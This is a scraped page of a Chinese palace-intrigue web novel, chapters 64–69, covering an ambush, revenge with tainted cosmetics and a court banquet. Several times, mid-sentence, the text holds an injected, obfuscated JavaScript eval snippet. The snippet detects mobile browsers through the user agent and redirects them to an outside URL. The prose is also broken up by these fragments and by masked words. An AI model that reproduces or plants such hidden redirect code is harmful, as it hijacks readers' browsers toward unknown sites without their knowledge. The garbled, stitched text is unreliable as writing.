p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620086|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地拔出一把**,锋利的刀刃直指姜瑶真的面庞,眼看就要划了下去。 姜瑶真吓得花容失色,失声尖叫。 说时迟,那时快,姜姝宁袖中袖**骤然射出一支利箭,“嗖”的一声,正中歹徒头目的腰际。 剧烈的疼痛令歹徒手腕一偏,却没能完全避开,刀刃在姜瑶真的脸上划出一道血痕。 尖锐的疼痛袭来,姜瑶真捂住自己的脸颊,殷红的鲜血瞬间染红了她的手心。 “啊!啊!啊——”凄厉的哀嚎声响彻小巷。 姜姝宁毫不迟疑,再次射出第二箭,正中钳制姜天泽那名歹徒的胸膛。 姜天泽趁势出拳,将那歹徒击倒在地,而后夺过他手中的刀剑,与其余歹徒厮杀起来。 领头的歹徒眼见姜瑶真已破相,自己又受了伤,无心恋战。 他大吼一声:“撤!” 众歹徒闻言,慌不择路地夺路而逃。 姜姝宁见状,连忙对姜天泽喊道:“别让他们跑了!快拦住他们!” 姜天泽心思都在姜姝宁身上,转身疾步朝她而来:“大姐姐莫慌,适才我已经放倒了一个……” 他话音未落,就见姜瑶真猛地拔出头上的簪子,狠狠地刺入那名被姜天泽放倒在地的歹徒咽喉。 鲜血喷涌而出,溅在她脸上,更添几分狰狞可怖。 那歹徒挣扎了几下,便气绝身亡,死状惨烈。 “瑶真,你这是做什么?!”姜姝宁又惊又怒。 “他们划破了我的脸!难道不该死吗?”姜瑶真一扫方才的惊恐绝望,目光冰冷如刀,直直地落在姜天泽身上,“三弟,你方才为何故意唤我大姐姐?” 是姜天泽故意引导那群歹徒误认为她是姜姝宁,害她破相的! 他是罪魁祸首! 姜天泽一脸无辜地眨了眨眼:“二姐姐,实在对不住,方才我太过害怕,一时情急,口误了。” “你胡说!”姜瑶真气得浑身发抖,“你分明是故意的!” 姜天泽上前一步,用两人才听得到的声音道:“二姐姐,此刻你最该做的,是赶紧寻医问药,莫要让这伤痕坏了你的花容月貌。至于我为何口误……呵,难道不该怪你自己心思歹毒,招惹了这无妄之灾吗?” 姜瑶真从他眼中看到了毫不掩饰的讥讽与恶意,心中如坠冰窖。 姜天泽,他分明是站在姜姝宁那边的! 第65章 他才不想当她的弟弟! 第六十五章他才不想当她的弟弟! 马车很快便抵达了最近的医馆。 姜姝宁和姜天泽陪姜瑶真走入医馆,请大夫为她诊治脸上的伤痕。 “大夫,我这脸……可会留下疤痕?”姜瑶真泪眼婆娑,忧心忡忡地问道。 大夫仔细端详了她的伤口片刻,温言安慰道:“姑娘莫要担忧,伤口虽见血,却并不深,老夫开些生肌祛疤的良药,姑娘每日按时涂抹,不出几日便可痊愈,不会留下任何痕迹。” 闻言,姜瑶真悬着的心这才稍稍放下,但转而又嘤嘤哭泣起来,似是受了莫大的委屈。 姜天泽冷眼旁观,见她这副模样,心中只觉好笑,出言讥讽道:“原来二姐姐也这般在意自己的容貌啊!” 姜瑶真心中本就对姜天泽怨恨不已,此刻听他这阴阳怪气之语,更是怒火中烧:“三弟究竟想说什么?” 姜天泽缓缓逼近她,在她耳边阴恻恻地说道:“二姐姐,我只是想送你一句话——己所不欲,勿施于人!” 一股寒意瞬间从姜瑶真的脚底直窜头顶,令她如坠冰窟。 姜天泽果然知道今日这群歹徒是她找来对付姜姝宁的! 该死!定是三婶告诉他的! 这对母子身上明明流着南月人的血,却不帮她,简直可恶至极! 姜姝宁步出医馆,吩咐车夫老杨前去报官,自己则与姜夫人、姜天泽一同上了马车等候姜瑶真。 姜夫人仍心有余悸:“今日多亏宁儿你随身带着袖**,这才及时制止了那歹徒。若是真让他伤了真儿的容貌,那可如何是好!” 姜天泽低声道:“大姐姐还是太心慈手软了。” 他心中暗道:若没有用袖**阻止那个混混就好了,让姜瑶真彻底毁了容,那才叫真正的自作自受! 姜姝宁瞥了他一眼,随即对姜夫人柔声道:“母亲,您且去看看瑶真吧,想来她此刻定然惊魂未定。” “也好。”姜夫人应了一声,便下了马车,转身进了医馆。 待姜夫人走后,姜姝宁转头看向姜天泽,正欲开口询问,却见他忽然将头轻轻靠在了她的肩上,一副惊魂未定、楚楚可怜的模样:“方才多亏了大姐姐,否则真不知该如何脱身。” 姜姝宁想起方才她射出袖**之后,姜天泽对付那群歹徒时狠辣凌厉的身手,与此刻依偎在她肩头的柔弱模样判若两人。 “三弟,你可是早就料到会有人对我不利,所以才故意唤瑶真为‘大姐姐’的?” 姜天泽声音低柔,极具迷惑性:“大姐姐,我方才已经说过,只是因为太过害怕,一时口误罢了。” “天泽。”姜姝宁轻轻将他的头从肩上挪开,目光灼灼地盯着他的双眼,神色认真,“看着我的眼睛,告诉我实话。今日之事,幕后主使之人,可是瑶真?” 姜瑶真方才那般急于灭口,让她想不怀疑都难。 姜天泽与她对视片刻,终是缓缓地点了点头:“是。” “果然如此!”姜姝宁深吸一口气,强压下心中的怒火,继续追问道:“你是如何知晓的?” 姜天泽并未回答她的问题,而是再一次将头靠在了她的肩上。 这一次,他正对着她,如同拥抱一般,紧紧地贴着她。 少女的幽香萦绕在他鼻息间,他闭上眼睛,贪婪将这个气息深深吸进肺腑里。 姜姝宁下意识地想要推开他,却被他的声音打断:“大姐姐,这并不重要。你只需记住,无论何时何地,我都会站在你这一边,绝不会让任何人伤害你。” 姜姝宁闻言,心头一震,随即漾起一抹暖意。 不久前痛失兄长,她一度以为此生再无人庇佑,而如今,她竟从姜天泽身上感受到了弥足珍贵的手足之情。 “好,我不再追问了。”她柔声道,“你我既是姐弟,你自然会护着我。” 姜天泽没有说话,眼底却暗流涌动。 他才不想当她的弟弟! —— 相府的西院花厅里,凌芜猛地睁开双眼,正对上姜三夫人那张笑盈盈的脸庞。 “三夫人?”凌芜茫然又惊愕,“奴婢怎会在此?” 姜三夫人笑容可掬,语气温和:“凌芜姑娘想是练武太过操劳,方才睡了过去。无妨,习武之人也需适当休憩,莫要累坏了身子。” 然而,这番看似关切的话语却令凌芜心中掀起惊涛骇浪,一股难以言喻的恐惧瞬间蔓延至四肢百骸。 她自幼习武,即便再疲惫困倦,也时刻保持着警惕,绝不可能无缘无故地昏睡过去。 唯一的解释便是——她被人下了迷药! 是了!定是眼前的南月毒师算计了她! 可她的目的是什么? “大小姐!”一个可怕的念头掠过心头,凌芜心顾不得礼数,起身便朝翠竹院奔去,心脏在胸腔中剧烈地跳动着。 大小姐,您千万不能有事啊! 才到翠竹院门口,便与刚回来的姜姝宁迎面相遇。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620087|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “大小姐!”凌芜激动地上前,仔仔细细地打量着她,急切地问道:“您没事吧?” 姜姝宁脸上还带着劫后余生的庆幸:“凌芜,方才我与母亲、三弟他们一同外出采买年货,险些遇险。幸而有三弟在,我和母亲都安然无恙。” 她将今日发生的事情一五一十地告诉了凌芜,包括姜瑶真设计陷害她,却阴差阳错自食恶果,被歹徒划伤了脸颊。 凌芜听得心惊肉跳,后怕不已。 没想到,在她被南月毒师迷晕的这段时间里,大小姐竟然经历了如此惊险的变故。 若非姜天泽故意唤错她们姐妹的称呼,此刻被划伤容貌的,便是大小姐了! “大小姐,您今日定是受惊了,还是快些回房歇息吧。”凌芜提议道。 姜姝宁经历了这番惊心动魄的遭遇,的确是身心俱疲。 她回到房间,躺在床上,半阖着眼眸,低声呢喃道:“才一日没让你陪在身边,便发生了这样的事情。下次,无论如何都要你陪着……” 凌芜知道,不是姜姝宁不让她跟随,而是有人故意支开了她! 她走出房间,对守在门外的夏蝉吩咐道:“我有些私事需要外出处理,若是大小姐问起,便说我京城的亲戚有事,我前去帮忙了。” 夏蝉问道:“凌芜姐姐,那你何时回来?” “快则一两个时辰,慢则……”凌芜神色黯然,没有将后半句话说出口。 慢则,一辈子都回不来了。 她是个孤女。 十二岁那年,父亲惨遭当地恶霸毒手。 为了替父报仇,她将自己的命卖给四皇子,甘愿成为一名死士,只求能手刃仇敌。 四皇子信守承诺,不仅帮她找到杀父仇人,更当着她的面,将那恶徒千刀万剐。 四皇子说得对,仇人临死前的哀嚎,便是这世间最动听的乐曲。 亲眼目睹仇敌在自己面前痛苦地死去,凌芜感受到了一种以暴制暴的快意。 她刻苦习武,日夜操练,终于在短短五年内脱颖而出,成为一名技艺超群的暗卫。 也因此,她被四皇子选中,安排在姜姝宁身边,成为大小姐的贴身护卫。 此次姜姝宁遇险,是她失职,给了南月毒师可乘之机。 身为死士,完不成任务便唯有死路一条,这是她无法逃脱的宿命。 她的主子四皇子,也并非仁慈之主。 此番她回宫,是复命,也是去赴死。 第66章 格外宽容 第六十六章格外宽容 “你说南月毒师迷晕你,就是为了不让你跟着姜姑娘一同出去?”萧凌川居高临下地看着跪在自己跟前的凌芜,神色冰冷如霜。 “是!凌芜失职,致使大小姐身陷险境,恳请殿下责罚!”凌芜将额头紧紧贴在地面上,声音颤抖。 “姜瑶真派去的匪徒并未得逞,反倒伤了自己,而姜姑娘被姜天泽所救。你觉得,他们究竟意欲何为?”萧凌川的语气中带着一丝探究。 凌芜思忖片刻,试探性地开口:“凌芜斗胆猜测,南月毒师母子此举,是为了博取大小姐的信任。” “信任?”萧凌川剑眉微蹙,“姜天泽身为相府唯一的继承人,何须如此大费周章地讨好姜姑娘,取得她的信任?此事恐怕另有隐情。” “这……凌芜愚钝,实在猜不出三少爷的意图。” 萧凌川沉默片刻,复又开口:“你那日让凌风带来的那些粉末,已经查明,是一种极其罕见的**。少量服用,会使人浑身发热、昏厥,状似高热。这毒,南月毒师究竟用在了何人身上?” 凌芜闻言一怔,脑海中突然浮现出那日姜姝宁从宫中回府后,夏蝉告知她姜天泽病倒的情景。 当时的姜天泽,可不正是这般症状? “回殿下,南月毒师将此毒用在了三少爷身上!”凌芜语气肯定。 “用在她自己的亲生儿子身上?”萧凌川眼中闪过一丝疑惑,“为何?难道他们母子二人不睦?” “南月毒师对其子向来疼爱有加,绝无不睦之说。那日三少爷病倒,大小姐忧心忡忡,亲自留宿照料。凌芜总觉得……”凌芜顿了顿,斟酌着用词,缓缓说道:“总觉得三少爷……似乎心智尚未成熟,举止间颇有些……向大小姐撒娇之意?”萧凌川眉头紧锁,陷入沉思。 前世他与姜家鲜少往来,除了姜丞相一家,姜姝宁的叔伯们皆远在徐州,因此他对这位前世的小舅子并不了解。 一个年仅十五的少年,有母亲疼爱,为何偏偏对长姐如此依恋,举止亲昵? 他思忖片刻,一个猜测逐渐浮出水面。 “这姜天泽,恐怕是故意营造出一种拥护姜姑娘的假象,好让她放松警惕,不会怀疑他与姜瑶真暗中勾结!” 此言一出,一旁的凌风立刻附和道:“殿下英明!姜瑶真的母亲是南月细作,姜天泽的母亲亦是南月人,她们私下必有往来。姜天泽如今刻意亲近大小姐,甚至不惜破坏姜瑶真的毒计,就是为了让大小姐对他卸下防备,误以为他是站在她这边的!小小年纪,没想到竟有如此深的城府!” 凌芜觉得姜天泽对姜姝宁的亲近并非伪装,但见萧凌川如此笃定,便将到了嘴边的话又咽了回去。 萧凌川微微颔首,看向凌芜:“既如此,你日后便寸步不离地守护在姜姑娘身边,谨防她被姜天泽和姜瑶真联手算计!” 凌芜闻言一怔,殿下这是不打算追究她今日的失职了? “殿下……” 她正欲开口提醒,却被凌风打断:“殿下既已给你安排了新的任务,还不速速回相府?若是大小姐有事寻你却找不到,殿下定不轻饶!” 凌芜抬眸望向凌风,只见他正拼命地向自己使眼色。 他们一起为四皇子卖命,算得上同僚。 想来他也不希望自己有事。 她连忙叩首领命:“是,殿下!凌芜定当竭尽全力,不负殿下重托!” 她起身欲退,却又被萧凌川叫住:“慢着!” 凌芜心中一紧,该来的终究还是来了。 “你此次行事的确失职,理应受罚。”萧凌川语气浅淡,“罚你明日酉时之前,带一盅姝宁亲手做的羊肉汤来,切记,不许放姜葱蒜!” 凌芜诧异地抬眸看了萧凌川一眼,随即迅速垂下眼帘,恭声应道:“是,殿下!” 凌芜退下后,萧凌川注意到凌风的目光一直停留在自己身上。 “为何如此看着我?”他语气淡淡,听不出喜怒。 凌风连忙收回视线,恭敬道:“属下方才担心殿下会重罚凌芜。” 他们殿下可不是什么心慈手软的人,凌芜今日竟能全须全尾离开,简直就是奇迹。 “如何重罚?取她性命?还是废她手脚?然后再费尽心思另派人手安插在姜姑娘身边?”萧凌川没好气道,“不过是嫌麻烦罢了。若是你们犯了这等低级错误,我定不轻饶!” “属下谨记!”凌风躬身应道,嘴角却不自觉地微微上扬。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620088|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 殿下对姜大小姐身边的人,果然格外宽容。 若是将来大小姐能嫁给殿下,有她在,殿下对下属的态度想必也会温和许多吧。 —— 一夜好眠,姜姝宁醒来时只觉神清气爽。 凌芜侍奉她用早膳,目不转睛地看着她:“奴婢还以为,大小姐昨日经历了那般惊险之事,夜里定会噩梦缠身。” 姜姝宁轻笑一声:“姜瑶真昨日杀了人,她都能安然入睡,我又为何不能?” 她忽然发现,从前竟从未真正认清姜瑶真。 她何止是口蜜腹剑、不择手段,更是心狠手辣,令人不寒而栗。 想要对付她,就必须比她更狠,否则只会败在她手中。 凌芜想起昨日萧凌川的嘱咐,故作幽怨地叹了口气:“可凌芜,昨夜一夜都没睡好。” 姜姝宁用膳的动作一顿,关切地问:“凌芜,你怎么了?” “奴婢一想起大小姐昨日身陷险境,便心有余悸。大小姐怎能不叫上奴婢便独自出门?您从前明明答应过奴婢,出门一定会带上奴婢,不让奴婢担心的!”凌芜语气中带着一丝委屈。 “对不起,凌芜,是我思虑不周。”姜姝宁拉起她的手,柔声安抚,“我补偿你,可好?你想要什么,只要我能办到,一定满足你!” “当真?”凌芜眼中闪过一丝欣喜,“那奴婢斗胆,请大小姐亲手为奴婢做一盅羊肉汤!” “好啊,这天寒地冻的,喝羊肉汤最合适不过了!我今日便做一锅,让府里上下都尝尝!”姜姝宁笑盈盈地说道,“羊肉汤里放些姜,最是温补驱寒!” “大小姐,奴婢不喜姜,葱蒜也不要!”凌芜连忙说道。 “你也不吃姜葱蒜啊?”姜姝宁略带惋惜,“那真是可惜了。不过,我可以单独为你做一份不放姜葱蒜的。” “多谢大小姐!”凌芜感动不已。 他们家大小姐不仅心地善良,厨艺还相当精湛,简直是个完美的正妻之选。 从前她觉得姜姝宁一个相府嫡女嫁给四皇子是高攀了,如今却越发觉得,倘若大小姐有朝一日愿意嫁给四皇子,那必定是殿下前世修来的福分! 四皇子前世……应该有修福分吧? 第67章 偷脂粉,自毁容貌 第六十七章偷脂粉,自毁容貌 距离梅花宴仅剩两日。 姜瑶真对着铜镜顾影自怜,脸上那道尚未痊愈的伤疤,盘踞在她原本姣好的面容上,即便用脂粉也难以遮掩。 这让一向以美貌自诩的姜瑶真如何能够忍受? “我这幅模样,如何去见三皇子殿下?”她怒不可遏,一把将桌上的胭脂水粉扫落在地。 一旁的春花小心翼翼地提议道:“奴婢听说太后娘娘先前将北陵进贡的脂粉赏赐给了大小姐,据说那脂粉质地轻薄,遮瑕效果极佳。不如……不如奴婢去向大小姐讨要一些?” 北陵女子五官虽不甚精致,却以肌肤胜雪闻名,这都得益于她们盛产的脂粉。 若是能够得到那北陵脂粉,或许就能遮盖住她脸上的伤疤,让她在两日后的梅花宴上重现光彩。 “那你还不快去!”姜瑶真仿佛抓住了救命稻草,催促道,“快去求姐姐将那北陵脂粉给我!” “是,二小姐。”春花领命,匆匆赶往姜姝宁的翠竹院。 然而,春花提出的请求却被姜姝宁一口回绝。 凌芜更是毫不留情地将她挡在了门外:“二小姐派人刺杀大小姐,结果作茧自缚,反倒伤了自己,如今竟还有脸来讨要脂粉?你们绮丽院的人,脸皮究竟有多厚?简直可以拿来筑城墙了!” 春花被这番话羞得面红耳赤:“凌芜姑娘休要血口喷人!官府至今未曾抓到刺客,你凭什么说是我们二小姐指使的?” “能说出真相的刺客,不是被你家二小姐用簪子灭口了吗?好一个**灭口!”春花讨了个没趣,只能灰溜溜地返回绮丽院。 凌芜回到房中,对姜姝宁道:“大小姐,奴婢已经将那春花打发走了。二小姐真是厚颜无耻,派人行刺您不成,反倒还有脸来讨要东西!” 姜姝宁神色浅淡:“凌芜,将太后赏赐的那盒北陵脂粉取来,放在梳妆台上最显眼的位置。” “是。” 凌芜依言照做,将脂粉盒摆放在梳妆台上。 姜姝宁起身,吩咐道:“我们出去走走,不必关窗。你吩咐夏蝉,若是有人偷偷进我屋里,不必声张,只当没看见,等她离开便是。” 凌芜不解:“大小姐,您这是何意?” 姜姝宁唇角勾起一抹冷笑:“我那妹妹岂是轻易善罢甘休之人?她定会想尽一切办法得到这盒脂粉。既如此,我这个做姐姐的,又怎能让她失望?” 凌芜恍然大悟:“大小姐是想在脂粉里动手脚?不如加些辣椒粉进去,保管让她脸肿得像猪头!” “不必了,这脂粉里有比辣椒更厉害的东西。” 前世六皇子生母蒋贵妃脸上生了疹子,为了遮掩,便使用了北陵进贡的脂粉。 谁知,这脂粉非但没有遮盖住疹子,反而使得她整张脸溃烂不堪。 皇帝震怒,下令彻查,这才发现,所有来自北陵的脂粉中都含有一种特殊的粉末。 这种粉末能让肌肤白皙细腻,但一旦接触到破损的肌肤,便会侵蚀伤口,造成溃烂。 由于北陵脂粉皆为贡品,寻常百姓难以接触,若非蒋贵妃用了之后出现异常,根本无人知晓这脂粉竟如此危险。 姜姝宁当初收到太后赏赐时,就从未想过要使用这脂粉。 既然姜瑶真非要用,那便给她好了。 她那么喜欢毁人容貌,那便让她也尝尝容貌被毁的滋味! 绮丽院内,姜瑶真正对着侍女春花大发雷霆。 “她不肯给,你就不会想办法吗?真是蠢笨如猪!留你何用!不如让母亲把你发卖了算了!” 春花一听“发卖”二字,吓得魂飞魄散,连忙跪在地上拼命磕头。 “二小姐饶命!不要卖了奴婢,奴婢愿为二小姐做任何事!” “好,那你去姐姐房里,将那北陵脂粉偷来!”姜瑶真冷声吩咐。 春花心中虽有不愿,可对上姜瑶真那冷若冰霜的面容,不敢有丝毫违逆,只得应下:“是,二小姐。” 她偷偷摸摸地来到翠竹院,发现姜姝宁的房中空无一人,就连走廊上也静悄悄的。 她于是大着胆子翻窗进屋,在梳妆台上最显眼的位置找到了那盒脂粉,随后又原路返回。 一切顺利得不可思议。 姜瑶真拿到脂粉,迫不及待地涂抹在脸上。 果然,才涂了薄薄一层,那道碍眼的疤痕瞬间被遮盖得严严实实,肌肤也显得白皙透亮,宛若凝脂。 “果然是北陵脂粉!真是妙不可言!”姜瑶真对着镜子左看右看,满意至极。 涂了这脂粉,她定能在梅花宴上艳压群芳,成为全场焦点! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620089|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 翌日清晨,姜瑶真觉得脸上伤口处有些瘙痒。 她对着镜子一照,顿时吓得魂飞魄散——原本的伤口不仅红肿不堪,周围更是长满了流脓的可怕疙瘩,狰狞可怖。 “春花!春花!”姜瑶真几乎快要哭出来,“你快看看我的脸,怎么会变成这样?” 春花看到姜瑶真此刻的惨状,也是吓了一跳:“二小姐,您昨日是不是吃了什么不该吃的东西?” “没有啊!这几日我连荤腥都不敢沾,就怕这疤痕好不了。怎么会……”姜瑶真忽然想到了什么,咬牙切齿地说道,“是那盒北陵脂粉!一定是姐姐在里面下了毒!” “这……奴婢这就去告诉老爷!”春花义愤填膺。 “不行!”姜瑶真一把拉住春花,“那脂粉是我们从她房里偷来的,若是闹到父亲那里,定会被她倒打一耙,说不定还会反咬我们一个**的罪名!” “那……二小姐,您打算怎么办?”春花焦急地问道。 姜瑶真看着镜子中面目全非的自己,眼神阴鸷:“姜姝宁不就是想阻止我去参加梅花宴吗?我偏要去!我要让她知道,我才是宴会上众星捧月的存在!” 梅花宴当日,姜姝宁带着凌芜先上了马车。 片刻之后,姜瑶真身穿一袭红裙,脸上戴着红色薄纱,与春花一同上了马车。 姜姝宁似笑非笑地看着她:“妹妹今日这身装扮,当真是别出心裁,令人眼前一亮。” “多谢姐姐夸奖。”姜瑶真眼波流转,“待会儿的梅花宴上,我准备献上一支舞蹈,如此盛装打扮,未免太过夺目,怕是会抢了姐姐的风头。姐姐应该不会介意吧?” 凌芜闻言,险些翻了个白眼。 二小姐未免也太过自负了! “自然不会。”姜姝宁笑容依旧温婉,她微微俯身,凑近姜瑶真耳边低声道,“我的光芒,岂是你这种人可以轻易夺走的?妹妹,我劝你还是安分些好,否则下次,可就不只是烂脸这般简单了。” 姜瑶真闻言,脸色骤变,眼中闪过一丝狰狞。 果然是姜姝宁!是她在那盒北陵脂粉里下了毒,企图毁了她的容貌! 她平日里那副温婉端庄的模样,都是装出来的! “姐姐,走着瞧!”姜瑶真冷冷看着她,“今日,看谁能笑到最后!” 第68章 她的光芒,无法夺走 第六十八章她的光芒,无法夺走 姜姝宁本就无意与姜瑶真争锋,但听她如此自信笃定,心中也不免生出几分好奇,想瞧瞧她究竟要在梅花宴上如何惊艳四座。 马车缓缓抵达宫门,一众世家贵女鱼贯而入,前往梅园赴宴。 梅园内,傲雪寒梅正值盛放,雪后初晴,阳光洒落枝头,美不胜收。 贵女们依次落座,举止优雅,谈笑晏晏。 宴席上的菜肴也颇具巧思,皆与梅花相关,梅花汤饼,梅子焖肉,红梅虾仁,色香味俱全,令人垂涎欲滴。 更有梅花元宝茶、梅花酒等饮品,无不体现出太后对梅花的喜爱以及对美食的考究。 姜姝宁暗自庆幸,自己今日准备的礼物,倒是正合太后心意。 太后在几位皇子的簇拥下,缓缓步入梅园。 贵女们按捺住心中的雀跃,目光灼灼地注视着他们。 待太后走近,众人纷纷起身,恭敬行礼:“臣女见过太后娘娘,见过诸位皇子!” “都免礼吧。”太后笑容慈祥,径直走到姜姝宁面前,亲热地握住她的手,“姜姑娘,许久未见,哀家甚是想念!你上次给哀家的那副祛痰的方子,哀家每日都让御膳房的人做来吃,如今哀家这咳嗽的毛病,可是好了许多!” 姜瑶真见状,心中妒火中烧。 明明自己才是太后的准孙媳,可太后对姜姝宁的亲昵程度,却远胜于她。 姜姝宁的光芒,自己当真无法夺走? 姜姝宁莞尔一笑:“能为太后分忧解难,是臣女的荣幸。只是臣女家中近日接连遭逢变故,不便入宫请安,还望太后见谅。” “哀家并非拘泥于繁文缛节之人,不必多礼。”太后目光落在姜姝宁身上,又意味深长地瞥了一眼萧凌川,“况且,你虽未至慈宁宫,却也去了该去之处,哀家心中甚慰啊。” 萧凌川深邃的目光落在姜姝宁身上。 她今日穿着珍珠白的衣裙,素雅又端庄,衬得发墨肤白,脸色红润。 无论何时,她总能将素净的衣裙穿得清丽脱俗。 姜姝宁被他看得面红耳赤。 她这段时日频繁入宫,确实是为了见萧凌川,也难怪太后会对他们二人的关系有所误会。 三皇子萧修湛见状,故意凑到五皇子萧怀瑾耳边,低语道:“看来皇祖母属意姜姑娘成为四皇子妃啊。瞧瞧,她老人家都在打趣四弟和姜姑娘了。” 萧怀瑾闻言,脸色微沉,语气中带着一丝不悦:“三哥莫要胡言乱语,皇祖母并非此意!” 萧修湛见他如此反应,唇角勾起一抹嘲讽的弧度。 区区一个姜姝宁,便能将两位皇子**于股掌之间,果然是个祸水红颜。 有她在,四弟五弟的关系怕是好不了了! 于他而言,也是好事。 太后见姜姝宁不说话,便知她是女儿家脸皮薄,害羞了,于是笑着转移了话题:“姜姑娘,你手中这食盒里装的,可是给哀家的?” 姜姝宁这才笑着道:“正是。臣女听闻太后娘娘喜食甜食,便亲手做了一些蜜饯,以冰糖蜂蜜熬制糖浆,又添了些自制的甘草,有清肺止咳之效。太后娘娘闲暇之时,可以品尝一二。” 太后身边的嬷嬷闻言,笑得合不拢嘴:“姜姑娘真是心思灵巧,太后娘娘就好这一口甜食,明明知道自己嗓子易生痰,却怎么也戒不掉糕点。每次太后娘娘咳嗽,老奴这心里就跟着难受。如今有了姜姑娘这蜜饯,老奴再也不用担心太后娘娘的咳嗽了。” 太后亦是笑容满面:“哀家别的爱好没有,就喜欢吃些甜食。没想到姝宁如此贴心,真是有心了。将来谁若是能娶到姝宁,真是三生有幸啊!” 说罢,又意味深长地看了一眼萧凌川。 像是在说:这么好的孙媳妇,你怎么不赶紧娶了? 萧凌川迎上太后的目光,报以一笑,心中却泛起一丝苦涩。 他自然知道姜姝宁有多贤惠温柔。 前世他娶她为妻,她每日钻研的,便是如何用食补为他调理身体。 可惜造化弄人,他终究是错失了她。 如今重活一世,她却对他避之不及,不愿再嫁给他为妻。 太后话音刚落,姜姝宁便觉察到无数道嫉妒的目光向她投射而来。 参加梅花宴的都是名门闺秀,个个在家中娇生惯养,众星捧月,如今却被她抢尽风头,心中自然是不满的。 今生萧凌川得太后提携,又颇受皇帝赏识,俨然已成为京城贵女们心中的如意郎君。 太后有意撮合她和萧凌川,这无形中,也让她成为众矢之的。 正当姜姝宁思忖着如何低调避嫌之时,一旁的姜瑶真按捺不住,上前盈盈一拜:“太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620090|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后娘娘,臣女今日也备了一份薄礼,想献给太后娘娘。” 太后这才注意到姜瑶真,见她面覆薄纱,不禁疑惑道:“这位是……” “回太后娘娘,臣女是姜瑶真,相府次嫡女。”姜瑶真语气中带着一丝得意,“臣女这身打扮,是为了待会儿给太后娘娘献上一支舞蹈。” 太后这才恍然大悟,含笑点头:“甚好,甚好啊!” 一旁的准太子妃顾晚樱见状,掩唇轻笑,语气中带着一丝嘲讽:“你姐姐送太后娘娘止咳化痰的蜜饯,倒也合情合理。你送太后娘娘一支舞蹈?怕不是醉翁之意不在酒,是为了博人眼球吧?今日可是宫宴,你戴着面纱前来,未免也太过失礼了。” “晚樱姐姐空手来赴宫宴,也好意思恶意揣摩我的心意,真是可笑至极!”姜瑶真也不示弱,反唇相讥。 “你!”顾晚樱怒了,狠狠瞪着她。 眼见二人之间**味渐浓,太后连忙出来打圆场,笑着拉起她们的手,温言道:“只要你们来,哀家就欢喜。送不送礼,都是次要的。” 顾晚樱和姜瑶真这才敛去怒容,低头行礼,恢复了大家闺秀的温婉娴静。 太后和众皇子回到席位,唯独三皇子萧修湛没走,目光灼灼地落在姜瑶真身上。 他想起那日,她一袭红衣,翩然起舞,周身萦绕着奇异的幽香,不禁心神荡漾。 他俯身靠近姜瑶真,在她耳边低语,嗓音暗哑:“你当真要在宴会上献舞?若是让旁人嗅到你这勾魂摄魄的异香,本皇子可是会吃醋的。” 姜瑶真并未服用凝香丸,自然不会散发任何异香。 她不愿让萧修湛知晓此事,只娇羞地垂下眼帘,低声回应:“殿下放心,这宫殿如此宽敞,臣女身上的气息不会轻易被人察觉的。” “如此甚好。”萧修湛靠近她,贪婪地深吸一口气,“待你日后嫁入皇子府,便日日为我跳这香艳绝伦的舞蹈,也好让我一饱眼福。” 姜瑶真心头叫苦不迭。 若是日日跳舞,岂不是要日日服用凝香丸? 可如今她身中萧凌川的毒,若是再服用凝香丸,恐怕会加速毒发。 她暗暗咬牙,心中对萧凌川的恨意又多了几分:可恶的萧凌川,我定要除掉你! 正当此时,殿外传来内侍高亢的通传声:“皇上驾到——熙贵妃娘娘驾到——” 第69章 与女支子跳同一支舞 第六十九章与女支子跳同一支舞 殿内众人齐刷刷跪地行礼,山呼海啸般的声音响彻大殿:“参见陛下,陛下万岁万岁万万岁!熙贵妃娘娘万福金安!” 皇帝携着熙贵妃,缓步步入宴会大厅。 